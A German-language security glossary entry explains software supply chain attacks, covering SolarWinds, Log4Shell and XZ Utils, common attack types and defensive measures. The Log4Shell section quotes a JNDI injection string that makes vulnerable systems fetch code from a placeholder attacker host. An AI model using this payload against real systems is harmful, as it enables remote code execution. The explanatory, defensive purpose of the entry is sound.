Supply Chain Attack
Angriff auf die Software-Lieferkette: Statt das Zielunternehmen direkt anzugreifen, kompromittieren Angreifer einen Lieferanten, Dienstleister oder eine gemeinsam genutzte Software-Library. Ein infiziertes Update infiziert dann Tausende Kunden gleichzeitig.
Bei einem Supply Chain Attack (Lieferketten-Angriff) kompromittieren Angreifer einen Zulieferer um an dessen Kunden zu gelangen. Da vertrauenswürdige Updates und Softwarepakete als Transportmittel dienen, ist dieser Angriffstyp besonders gefährlich - klassische Sicherheitskontrollen versagen, weil die Malware von einer vertrauten Quelle kommt.
Die bekanntesten Supply Chain Attacks
SolarWinds (2020)
Das gravierendste Supply Chain Event der Geschichte. APT29 (Cozy Bear, russischer SVR) infizierte das Update-System von SolarWinds Orion - einer Netzwerküberwachungssoftware die von 33.000 Unternehmen genutzt wird, darunter US-Regierungsbehörden (NSA, DHS, Treasury, Justice).
Ablauf:
- Angreifer kompromittieren SolarWinds Build-Infrastruktur Monate vorher
- Schädlicher Code wird in Orion-Build eingefügt (SUNBURST)
- Updates werden signiert und verteilt - legitim aussehend
- 18.000 Unternehmen installieren infizierten Update
- Backdoor schläft 14 Tage und beginnt dann C2-Kommunikation
- Angreifer wählen Hochwertziele aus und vertiefen Zugriff
Erkannt: Erst von FireEye (heute Mandiant) - und nur weil Angreifer MFA-Bypass-Tools testeten.
Log4Shell (CVE-2021-44228, 2021)
Log4j ist eine Java-Logging-Library in Millionen Produkten. Ein einzeilige Eingabe genügte für Remote Code Execution:
${jndi:ldap://angreifer.com/malware}In diesem String in einer beliebigen Log-Ausgabe (User-Agent, URL-Parameter, etc.) → Log4j lädt LDAP-Response → Code wird ausgeführt.
Betroffen: Apple iCloud, Twitter, Amazon AWS, Minecraft, Cisco, VMware, Juniper, - praktisch jedes Enterprise-Produkt mit Java.
XZ Utils Backdoor (2024)
Dreijährige Social-Engineering-Kampagne: Angreifer “JiaT75” baute über Monate Vertrauen in Open-Source-Community auf, wurde Maintainer von XZ Utils (Linux-Kompressionstools), baute dann Backdoor ein die SSH-Authentifizierung in systemd-basierten Systemen kompromittiert hätte.
Entdeckt: Nur durch Zufall (Andres Freund bemerkte ungewöhnliche CPU-Auslastung).
Angriffstypen
Dependency Confusion
Angreifer lädt Paket mit internem Namen (z.B. company-internal-lib) in öffentliches npm/PyPI-Repository mit höherer Versionsnummer → Package Manager lädt öffentliche Version statt interne.
Typosquatting
requests (legitim) vs. reqeusts (Typo) - Angreifer registriert ähnliche Package-Namen.
Compromised Maintainer Account
Maintainer-Account eines populären Packages übernommen → schadhaftes Update veröffentlicht.
Build System Compromise
Wie SolarWinds: Die Build-Infrastruktur selbst ist infiziert → legitime Signatur auf infiziertem Code.
Schutzmaßnahmen
Für Software-Nutzer:
- Software Composition Analysis (SCA): Bekannte CVEs in Dependencies erkennen
- Dependency Lock Files (package-lock.json, requirements.txt) - exakte Versionen fixieren
- Subresource Integrity für Browser-Assets
- Update-Testing in isolierter Umgebung vor Produktions-Rollout
- Vendor-Risk-Management: Sicherheitspraktiken von Lieferanten evaluieren
Für Software-Entwickler:
- Build-Infrastruktur absichern (2FA, Code-Signing, SLSA Framework)
- Software Bill of Materials (SBOM) erstellen und pflegen
- Reproducible Builds: Build-Prozess deterministisch und prüfbar machen
- Dependency Scanning in CI/CD-Pipeline
Compliance: NIS2 Art. 21 (d): Sicherheit in der Lieferkette explizit als Pflichtmaßnahme für wesentliche Einrichtungen.
